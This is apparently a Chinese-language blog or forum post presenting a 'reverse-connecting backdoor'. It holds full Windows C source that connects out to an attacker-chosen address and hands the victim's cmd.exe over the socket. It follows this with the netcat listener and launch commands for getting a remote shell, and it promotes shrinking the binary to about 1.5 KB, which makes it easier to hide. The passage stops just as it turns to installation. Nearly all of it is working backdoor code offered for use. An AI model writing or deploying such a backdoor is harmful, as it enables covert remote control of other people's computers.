反向连接的一个后门程序

大家再来看一下下面的这个程序,:
#include <winsock2.h>
#pragma comment(lib,"ws2_32")

int main(int argc, char **argv)
{
    WSADATA wsaData;
    SOCKET hSocket;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    struct sockaddr_in adik_sin;

    memset(&adik_sin,0,sizeof(adik_sin));
    memset(&si,0,sizeof(si));
    WSAStartup(MAKEWORD(2,0),&wsaData);
    hSocket=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
    adik_sin.sin_family=AF_INET;
    adik_sin.sin_port=htons(atoi(argv[2]));
    adik_sin.sin_addr.s_addr=inet_addr(argv[1]);
    if(0!=connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin)))
        return -1;
    si.cb=sizeof(si);
    si.dwFlags=STARTF_USESTDHANDLES;
    si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket;
    CreateProcess(NULL,"cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
    return 0;
}
它的功能很简单,就是反向连接.
先用NC监听端口:
Nc.exe –lp 5555
再以命令行执行该程序:
Sameple.exe 127.0.0.1 5555
最终获取一个CmdShell

我们先用Release版本生成, 最终生成大小23 K. 我们再用TinyFrame生成一次, 最终大小: 1.50 KB, 很诱人了对不对. 呵呵, 下面就说一说安装及使用过程.